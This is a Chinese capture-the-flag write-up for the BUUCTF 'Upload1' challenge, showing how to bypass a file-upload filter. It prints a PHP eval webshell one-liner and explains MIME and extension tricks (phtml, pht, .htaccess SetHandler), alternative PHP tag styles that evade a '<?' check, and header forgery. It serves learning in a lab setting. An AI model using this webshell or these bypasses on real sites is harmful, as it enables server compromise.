BUUCTF-[极客大挑战 2019]Upload1

目录​​​​​​​

题目:

分析:


题目:

分析:

一个文件上传漏洞

上传一个1.php文件内容为:<?php eval($_POST[1]);?>

发现报错。

查看源代码,没有关于过滤的代码,说明是后端进行的过滤。

bp抓包:修改MIME

报错说不能是php文件 、那就试试其他几种后缀:

发现只有phtml文件可以使用,修改后缀为phtml

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行(需要配置文件里面的支持)

1、例如Apache的 httpd.conf 中有如下配置代码:

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

2、或者.htaccess文件内容:

SetHandler application/x-httpd-php

意思是设置当前所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行。不符合则报错。

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

PHT文件是一个HTML页面,其中包括一个PHP脚本

发现提示说文件中包含了<?

那么我们就用PHP另外的代码风格

php4种常见风格标签写法
1:正常写法xml格式
<?php
    echo '1111';
?>


2:短标签
<?
    echo '1111';
?>

5.4 起 <?= 'hello'; === <? echo 'hello';

<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。


3:asp风格写法
<%
    echo '1111';  
%>

(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了


4:长标签风格
<script language="php">

XXXXXX

</script>
在php7之后被移除了

 结果还是报错,那么再伪造头部  

成功上传!

最后还得访问这个文件:一般文件上传后都会放在url/upload/文件名

 

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值